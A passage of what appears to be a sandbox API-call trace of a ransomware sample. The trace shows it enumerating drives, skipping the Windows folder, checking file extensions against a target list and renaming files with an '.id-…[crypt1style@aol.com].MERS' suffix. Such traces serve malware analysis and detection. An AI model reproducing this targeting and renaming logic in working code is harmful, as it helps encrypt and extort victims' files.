lpString2=".inc") returned -1 [0051.905] lstrlenW (lpString=".7z") returned 3 [0051.905] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.905] lstrlenW (lpString=".dbf") returned 4 [0051.905] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.905] lstrlenW (lpString=".1cd") returned 4 [0051.905] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.905] lstrlenW (lpString=".jpg") returned 4 [0051.905] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.905] lstrlenW (lpString=".doc") returned 4 [0051.905] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.905] lstrlenW (lpString=".docx") returned 5 [0051.905] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.905] lstrlenW (lpString=".pdf") returned 4 [0051.905] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.905] lstrlenW (lpString=".xls") returned 4 [0051.905] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.905] lstrlenW (lpString=".xlsx") returned 5 [0051.905] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.905] lstrlenW (lpString=".ppt") returned 4 [0051.905] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.906] lstrlenW (lpString=".zip") returned 4 [0051.906] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.906] lstrlenW (lpString=".rar") returned 4 [0051.906] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.906] lstrlenW (lpString=".bz2") returned 4 [0051.906] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.906] lstrlenW (lpString=".7z") returned 3 [0051.906] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.906] lstrlenW (lpString=".dbf") returned 4 [0051.906] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.906] lstrlenW (lpString=".1cd") returned 4 [0051.906] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0051.906] lstrlenW (lpString=".jpg") returned 4 [0051.906] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.906] lstrcmpiW (lpString1=".png", lpString2=".MERS") returned 1 [0051.906] lstrlenW (lpString="DissolveNoise.png") returned 17 [0051.906] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.994] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=751669) returned 1 [0051.994] CloseHandle (hObject=0x214) returned 1 [0052.002] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0052.002] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.002] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.002] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.002] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.002] lstrlenW (lpString=".doc") returned 4 [0052.002] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.002] lstrlenW (lpString=".docx") returned 5 [0052.002] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0052.002] lstrlenW (lpString=".pdf") returned 4 [0052.002] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.002] lstrlenW (lpString=".xls") returned 4 [0052.002] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.002] lstrlenW (lpString=".xlsx") returned 5 [0052.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0052.002] lstrlenW (lpString=".ppt") returned 4 [0052.002] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.002] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.002] lstrlenW (lpString=".zip") returned 4 [0052.002] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.002] lstrlenW (lpString=".rar") returned 4 [0052.002] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.002] lstrlenW (lpString=".bz2") returned 4 [0052.002] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.002] lstrlenW (lpString=".7z") returned 3 [0052.002] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".dbf") returned 4 [0052.003] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".1cd") returned 4 [0052.003] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".jpg") returned 4 [0052.003] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".doc") returned 4 [0052.003] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString=".docx") returned 5 [0052.003] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0052.003] lstrlenW (lpString=".pdf") returned 4 [0052.003] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString=".xls") returned 4 [0052.003] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.003] lstrlenW (lpString=".xlsx") returned 5 [0052.003] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0052.003] lstrlenW (lpString=".ppt") returned 4 [0052.003] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".zip") returned 4 [0052.003] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.003] lstrlenW (lpString=".rar") returned 4 [0052.003] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.003] lstrlenW (lpString=".bz2") returned 4 [0052.003] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.003] lstrlenW (lpString=".7z") returned 3 [0052.003] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.003] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.003] lstrlenW (lpString=".dbf") returned 4 [0052.003] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.004] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.004] lstrlenW (lpString=".1cd") returned 4 [0052.004] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.004] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0052.004] lstrlenW (lpString=".jpg") returned 4 [0052.004] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.004] lstrcmpiW (lpString1=".png", lpString2=".MERS") returned 1 [0052.004] lstrlenW (lpString="nav_rightarrow.png") returned 18 [0052.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.325] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4515) returned 1 [0052.325] CloseHandle (hObject=0x1f8) returned 1 [0052.326] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0052.326] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.326] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.326] lstrlenW (lpString=".doc") returned 4 [0052.326] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.326] lstrlenW (lpString=".docx") returned 5 [0052.326] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0052.326] lstrlenW (lpString=".pdf") returned 4 [0052.326] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.326] lstrlenW (lpString=".xls") returned 4 [0052.326] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.326] lstrlenW (lpString=".xlsx") returned 5 [0052.326] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0052.326] lstrlenW (lpString=".ppt") returned 4 [0052.326] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.326] lstrlenW (lpString=".zip") returned 4 [0052.326] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.326] lstrlenW (lpString=".rar") returned 4 [0052.326] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.326] lstrlenW (lpString=".bz2") returned 4 [0052.326] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.326] lstrlenW (lpString=".7z") returned 3 [0052.326] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.326] lstrlenW (lpString=".dbf") returned 4 [0052.327] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.327] lstrlenW (lpString=".1cd") returned 4 [0052.327] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.327] lstrlenW (lpString=".jpg") returned 4 [0052.327] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.328] lstrlenW (lpString=".doc") returned 4 [0052.328] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.328] lstrlenW (lpString=".docx") returned 5 [0052.328] lstrcmpiW (lpString1=".docx", lpString2="w.png") returned -1 [0052.328] lstrlenW (lpString=".pdf") returned 4 [0052.328] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.328] lstrlenW (lpString=".xls") returned 4 [0052.328] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.328] lstrlenW (lpString=".xlsx") returned 5 [0052.328] lstrcmpiW (lpString1=".xlsx", lpString2="w.png") returned -1 [0052.328] lstrlenW (lpString=".ppt") returned 4 [0052.328] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.328] lstrlenW (lpString=".zip") returned 4 [0052.328] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.328] lstrlenW (lpString=".rar") returned 4 [0052.328] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.328] lstrlenW (lpString=".bz2") returned 4 [0052.328] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.328] lstrlenW (lpString=".7z") returned 3 [0052.329] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.329] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.329] lstrlenW (lpString=".dbf") returned 4 [0052.329] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.329] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.329] lstrlenW (lpString=".1cd") returned 4 [0052.329] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.329] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned 70 [0052.329] lstrlenW (lpString=".jpg") returned 4 [0052.329] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 Thread: id = 18 os_tid = 0xa18 [0033.678] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38d06c0 [0033.678] lstrlenW (lpString="C:") returned 2 [0033.678] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x641030 [0033.678] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.678] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.678] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.678] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.678] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0033.679] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.679] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e0ea8 [0033.679] FindNextFileW (in: hFindFile=0x6e0ea8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.679] FindNextFileW (in: hFindFile=0x6e0ea8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.679] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.679] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.679] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.679] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.679] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.680] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.680] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e1ef0 [0033.680] FindNextFileW (in: hFindFile=0x6e1ef0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.680] FindNextFileW (in: hFindFile=0x6e1ef0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.680] lstrlenW (lpString="desktop.ini") returned 11 [0033.680] lstrlenW (lpString=".1cd") returned 4 [0033.680] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.680] lstrlenW (lpString=".3ds") returned 4 [0033.680] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.680] lstrlenW (lpString=".3fr") returned 4 [0033.680] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.680] lstrlenW (lpString=".3g2") returned 4 [0033.680] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.680] lstrlenW (lpString=".3gp") returned 4 [0033.680] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.680] lstrlenW (lpString=".7z") returned 3 [0033.680] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.680] lstrlenW (lpString=".accda") returned 6 [0033.681] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".accdb") returned 6 [0033.681] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".accdc") returned 6 [0033.681] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".accde") returned 6 [0033.681] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".accdt") returned 6 [0033.681] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".accdw") returned 6 [0033.681] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.681] lstrlenW (lpString=".adb") returned 4 [0033.681] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".adp") returned 4 [0033.681] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai") returned 3 [0033.681] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.681] lstrlenW (lpString=".ai3") returned 4 [0033.681] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai4") returned 4 [0033.681] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai5") returned 4 [0033.681] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai6") returned 4 [0033.681] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai7") returned 4 [0033.681] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".ai8") returned 4 [0033.681] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".anim") returned 5 [0033.681] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.681] lstrlenW (lpString=".arw") returned 4 [0033.681] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.681] lstrlenW (lpString=".as") returned 3 [0033.682] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.682] lstrlenW (lpString=".asa") returned 4 [0033.682] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".asc") returned 4 [0033.682] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".ascx") returned 5 [0033.682] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.682] lstrlenW (lpString=".asm") returned 4 [0033.682] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".asmx") returned 5 [0033.682] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.682] lstrlenW (lpString=".asp") returned 4 [0033.682] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".aspx") returned 5 [0033.682] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.682] lstrlenW (lpString=".asr") returned 4 [0033.682] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".asx") returned 4 [0033.682] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".avi") returned 4 [0033.682] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".avs") returned 4 [0033.682] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".backup") returned 7 [0033.682] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.682] lstrlenW (lpString=".bak") returned 4 [0033.682] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".bay") returned 4 [0033.682] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".bd") returned 3 [0033.682] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.682] lstrlenW (lpString=".bin") returned 4 [0033.682] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.682] lstrlenW (lpString=".bmp") returned 4 [0033.683] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".bz2") returned 4 [0033.683] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".c") returned 2 [0033.683] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.683] lstrlenW (lpString=".cdr") returned 4 [0033.683] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cer") returned 4 [0033.683] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cf") returned 3 [0033.683] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.683] lstrlenW (lpString=".cfc") returned 4 [0033.683] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cfm") returned 4 [0033.683] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cfml") returned 5 [0033.683] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.683] lstrlenW (lpString=".cfu") returned 4 [0033.683] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".chm") returned 4 [0033.683] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cin") returned 4 [0033.683] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".class") returned 6 [0033.683] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.683] lstrlenW (lpString=".clx") returned 4 [0033.683] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".config") returned 7 [0033.683] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.683] lstrlenW (lpString=".cpp") returned 4 [0033.683] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.683] lstrlenW (lpString=".cr2") returned 4 [0033.683] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.683] lstrlenW 